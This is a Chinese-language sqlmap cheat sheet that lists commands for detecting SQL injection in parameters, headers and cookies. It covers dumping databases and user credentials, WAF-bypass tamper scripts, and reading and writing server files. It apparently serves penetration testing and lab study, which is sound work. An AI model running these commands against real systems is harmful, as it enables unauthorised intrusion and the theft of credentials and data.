sqlmap使用教程
url探测
get方式:sqlmap -u "url"
post方式:sqlmap -u "url" --data "post数据"
文件读取目标
-r 从文本文件中读取http请求作为sql注入探测的目标
-m 从多行文本格式文件读取多个目标,对多个目标进行探测
常用步骤:
1.探测数据库名
--dbs --batch
2.探测表名
-D 库名 --tables --batch
3.探测字段名
-D 库名 -T 表名 --columns --batch
4.探测字段值
-D 库名 -T 表名 -C username(字段),password --dump --batch
对User-Agent进行注入(Referer也可以)
方法一:
--data="uname=admin&passwd=admin&submit=Submit" --user-agent="*"
方法二:
在保存有http请求的文本文件中,参数后面加上*(要去掉/),再用-r读取
例:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0*
Referer: http://127.0.0.1/sqli/Less-20*
方法三:(最慢的,当level等级达到3时,会对UA、Referer进行注入)
--level 3
对Cooker进行注入
方法一:
-u "url" --cookie="uname=*" --level 2 --dbs --batch
//post请求中:有uname参数
方法二:
--level 2
//不一定能跑出来,当level等级达到2时,会尝试对cooker进行注入
--technique=参数(--tech=参数)
//使用的 SQL 注入技术(默认为“BEUSTQ”)
B: Boolean-based blind SQL injection(布尔型盲注)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(联合查询注入)
S: Stacked queries SQL injection(堆叠查询注入)
T: Time-based blind SQL injection(时间型盲注)
Q: inline Query injection(内联查询注入)
代理:
--proxy="http://ip:端口"
脚本:
--tamper "模块名" 使用模块脚本
模块名:
unmagicquotes.py 宽字节
space2randomblank.py 将空格替换为其他有效字符
space2mssqlblank.py 将空格替换为其他有效字符(mssql)
spaceZmysqlblank.py 将空格替换为其他有效字符(mysql)
base64encode.py 用base64格式进行编码
charencode.py 采用url格式编码1次
chardoubleencode.py 采用url格式编码2次
modsecurityversioned.py 用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf
modsecurityzeroversioned.py 用注释来包围完整的查询语句,用于绕过 waf ,和上面类似
nonrecursivereplacement.py 关键字双写,可用于关键字过滤
通用
-p="id" 指定参数
--skip="id" 跳过参数
-random-agent 随机user-agent
--dbms="mysql" 指定扫描的数据库
--current-db 获取当前数据库名称
--current-user 获取 DBMS 当前用户
--is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员)
--threads=1-10 线程数
--purge 清理缓存记录
--batch 全自动
--level 1-5 测试等级
--risk 1-3 风险等级
--dump 导出数据,在字段名前面时是打印数据
--delay 使设定两次http请求的延时(秒),预防太过频繁被防火墙拦截
--referer"' 伪造referer
--prefix="" 注入 payload 的前缀字符串
--suffix="" 注入 payload 的后缀字符串
--users 当前用户名
--passwords 当前用户密码
暴力破解:
以下选项用于暴力破解测试
--common-tables 检测常见的表名是否存在
--common-columns 检测常用的列名是否存在
--common-files 检测普通文件是否存在
性能优化参数:
-- keep-alive 设置持久连接,加快探测速度
-- nu-connection 检索没有body响应的内容,多用于盲注,但不与–threads兼容
-- thread 最大为10设置多线程
- o 开启所有默认性能优化
- smart 快速判断,节约时间
设置无效值替换(默认使用负数)
–invalid-bignum 用大数字替换原始值(id=1999999999)
–invalid-logical 用布尔运算替换原始值(id=1 and 1=2)
–invalid-string 用随机字符串替换原始值(id=asdsa)
文件读写
//file参数使用 权限:必须为dba权限
--file-read="目标文件路径" //文件读取
--file-write="本地上传文件路径" --file-dest="写入目标路径" //从本地文件上传